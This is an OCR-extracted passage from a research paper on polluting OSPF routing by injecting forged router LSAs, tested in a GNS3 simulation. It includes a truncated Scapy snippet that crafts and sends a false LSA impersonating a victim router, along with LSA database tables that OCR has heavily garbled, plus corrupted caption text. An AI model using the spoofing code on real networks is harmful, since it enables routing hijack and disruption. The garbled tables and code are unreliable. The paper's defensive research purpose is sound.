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Research on Pollution Method with Diverging Nodes
Injected Based on OSPF Vulnerability
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Abstract:In order to research the pollution range and effect of a weak point of OSPF,the security mechanism of OSPF protocol and the
known vulnerability are studied, and the current OSPF protocol is widely concerned with a vulnerable point. For this, we propose a kind of
node classification and pollution method with diverging nodes injected. Then a method for determining the spanning tree of pollution path
on the premise of known source node and target node is summarized with analysis. The pollution method with diverging node injected is
used on GNS3 platform for simulation test and research in multi—area autonomous system. The comparison summarizes the effect of the
network topology and selection of target router location on the network pollution range. Simulation experiments show that the pollution
method with diverging node injected for OSPF protocol can effectively analyze the entire network topology and the target node location

for the effects of the pollution range, helpful for the design of security network topology. Finally,we put forward the countermeasures for
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the vulnerability and its pollution characteristics.
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Load_contrib( “ospf”)

R4_FALSE_LSA =1P ( src = attacker_source_ip, dst = victim _
destination_ip) \

/OSPF_Hdr ( src = attacker_router_id) \

/OSPF_LSUpd ( Isalist = [ OSPF_router _LSA ( options = 0x22 ,
type =1,id = victim_router_id , adrouter =false_adv_router, seq =seq_
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send( R4_FALSE_LSA ,iface="“eth0”)
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Link ID ADV Router Age  Seq# Checksum  Link count
18.0.0.1 18.0.0.1 56 0x80000002 0xO000FA2 2
18.0.0.2 18.0.0.2 57 0x80000002 0x00B130 1
40.0.0.1 40.0.0.1 54 0x80000002 O0OxOOF8BA 1
50.0.0.1 50.0.0.1 49 0x80000002 0x0096A4 2
55.0.0.1 55.0.0.1 50 0x80000002 Ox002CAA 2
192.168.16.8 192.168.16.8 54 0x80000002 0x0003AA 5

OSPF Router with ID(50.0.0.1) (process ID 1)
Router Link States(Area 0)

Link ID ADV Router Age Seq# Checksum  Link count

18.0.0.1 18.0.0.1 56 0x80000002 O0xO00FA2 2

18.0.0.2 18.0.0.2 57 0x80000002 0x00B130 1

40.0.0.1 40.0.0.1 54 0x80000002 OxOOF8BA 1
I50.0.0.1 11.11.11.11 6 0x80000004 0x007A12 4 I

55.0.0.1 55.0.0.1 50 0x80000002 0x002CAA 2

192.168.16.8 192.168.16.8 54 0x80000002 0x0003AA 5

A 3 R,%3% & F Router Link State A 4§ % 4L

Summary Net Link States{Area 1)

Link ID ADV Router Age Seq# Checksum
10.0.0.0 40.0.0.1 115 0x20000001  0x00AB5SC
10.0.0.0 50.0.0.1 164 0x20000001  Ox0047B7
16.0.0.0 40.0.0.1 115 0x80000001  Ox005DA4
16.0.0.0 50.0.0.1 115 0x20000001  0x0003F4
18.0.0.0 40.0.0.1 105 0xB0000001  Ox004DB1
18.0.0.0 50.0.0.1 106 0x80000001  Ox00F202
20.0.0.0 40.0.0.1 153 0x20000001  0x001FDF
20.0.0.0 50.0.0.1 116 0x20000001  0x00CE25
32.0.0.0 40.0.0.1 106 0x20000001  0x00965A
32.0.0.0 50.0.0.1 165 0x20000001  Ox0028C0
50.0.0.0 40.0.0.1 106 0x80000001  Ox00AB33
50.0.0.0 50.0.0.1 165 0x80000001  Ox003D59
55.0.0.0 40.0.0.1 116 0x20000001  OxD0BO7A
55.0.0.0 50.0.0.1 116 0x80000001  Ox0D006CA
152.168.0.0 40.0.0.1 116 0x20000001  Ox007C2C
152.168.0.0 50.0.0.1 116 0x20000001  0x00227C

Summary Net Link States(Area 1)

Link ID ADV Router Age Seq# Checksum
10.0.0.0 40.0.0.1 115 0x20000001  0x00ABSC
16.0.0.0 40.0.0.1 115 0x20000001  0x005DA4
18.0.0.0 40.0.0.1 105 0x30000001  0x004DB1
20.0.0.0 40.0.0.1 153 0xB0000001  Ox001FDF
32.0.0.0 40.0.0.1 106 0x80000001  Ox00565A
I32.[1.U.D 50.0.0.1 165 0x80000001  Ox0028C0 I
50.0.0.0 40.0.0.1 106 0x20000001  OxDOABE33
55.0.0.0 40.0.0.1 116 0x230000001  0x00607A
152.168.0.0 40.0.0.1 116 0x30000001  Ox007C2C
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